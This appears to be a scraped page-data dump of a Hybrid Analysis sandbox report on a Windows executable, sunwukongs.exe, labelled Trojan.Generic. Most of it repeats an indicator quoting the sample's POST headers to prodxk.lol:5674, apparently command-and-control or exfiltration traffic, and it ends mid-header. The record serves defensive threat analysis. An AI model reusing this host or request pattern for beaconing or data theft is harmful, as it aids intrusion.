26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 3f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T490,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 5eb440933efc… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 5eb440933efc…. Malware family: Trojan.Generic. Threat score 100/100. 8/27 AV engines flagged this file. 9 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e"],"about":{"@type":"SoftwareApplication","name":"sunwukongs.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"5eb440933efc934628399697e2bca83ac41cefbb7c653dae1b91113596c4755e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":8,"total":27},"behavioralIndicators":{"malicious":9,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T75db,Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: prodxk.lol:5674" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: prodxk.lol:5674" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: prodxk.lol:5674" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: prodxk.lol:5674" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: prodxk.lol:5674" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: prodxk.lol:5674" Contains base64 string in header "5674" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 45Host: prodxk.lol:5674" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: prodxk.lol:5674" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: prodxk.lol:5674" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: prodxk.lol:5674" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: prodxk.lol:5674" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: prodxk.lol:5674" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: prodxk.lol:5674" Contains base64 string in header "5674" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: prodxk.lol:5674" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: prodxk.lol:5674" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: prodxk.lol:5674" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: prodxk.lol:5674" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: prodxk.lol:5674" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: prodxk.lol:5674" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: prodxk.lol:5674" Contains base64 string in header "5674" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 82Host: prodxk.lol:5674" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=PBF6iyTmPw7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 894Host: prodxk.lol:5674" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=PBF6iyTmPw7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 894Host: prodxk.lol:5674" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=PBF6iyTmPw7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 894Host: prodxk.lol:5674" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=PBF6iyTmPw7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 894Host: prodxk.lol:5674" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=PBF6iyTmPw7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 894Host: prodxk.lol:5674" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=PBF6iyTmPw7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 894Host: prodxk.lol:5674" Contains base64 string in header "5674" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=PBF6iyTmPw7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 894Host: prodxk.lol:5674" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: prodxk.lol:5674" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: prodxk.lol:5674" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: prodxk.lol:5674" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: prodxk.lol:5674" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: prodxk.lol:5674" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: prodxk.lol:5674" Contains base64 string in header "5674" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 81Host: prodxk.lol:5674" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: prodxk.lol:5674" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: prodxk.lol:5674" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: prodxk.lol:5674" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: prodxk.lol:5674" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: prodxk.lol:5674" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: prodxk.lol:5674" Contains base64 string in header "5674" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 56Host: prodxk.lol:5674" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: prodxk.lol:5674" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: prodxk.lol:5674" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: prodxk.lol:5674" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: prodxk.lol:5674" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: prodxk.lol:5674" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: prodxk.lol:5674" Contains base64 string in header "5674" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 61Host: prodxk.lol:5674" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: prodxk.lol:5674" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: prodxk.lol:5674" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: prodxk.lol:5674" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: prodxk.lol:5674" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: prodxk.lol:5674" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: prodxk.lol:5674" Contains base64 string in header "5674" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 63Host: prodxk.lol:5674" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: prodxk.lol:5674" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: prodxk.lol:5674" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: prodxk.lol:5674" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: prodxk.lol:5674" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: prodxk.lol:5674" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: prodxk.lol:5674" Contains base64 string in header "5674" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 83Host: prodxk.lol:5674" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=X4P4RTcZokV877BXg0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: prodxk.lol:5674" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=X4P4RTcZokV877BXg0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: prodxk.lol:5674" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=X4P4RTcZokV877BXg0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: prodxk.lol:5674" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=X4P4RTcZokV877BXg0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: prodxk.lol:5674" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=X4P4RTcZokV877BXg0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: prodxk.lol:5674" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=X4P4RTcZokV877BXg0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: prodxk.lol:5674" Contains base64 string in header "1143Host" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=X4P4RTcZokV877BXg0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: prodxk.lol:5674" Contains base64 string in header "5674" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=X4P4RTcZokV877BXg0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 1143Host: prodxk.lol:5674" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: prodxk.lol:5674" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: prodxk.lol:5674" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: prodxk.lol:5674" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: prodxk.lol:5674" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: prodxk.lol:5674" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 85Host: prodxk.lol:5674" Contains base64 string in header "5674" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 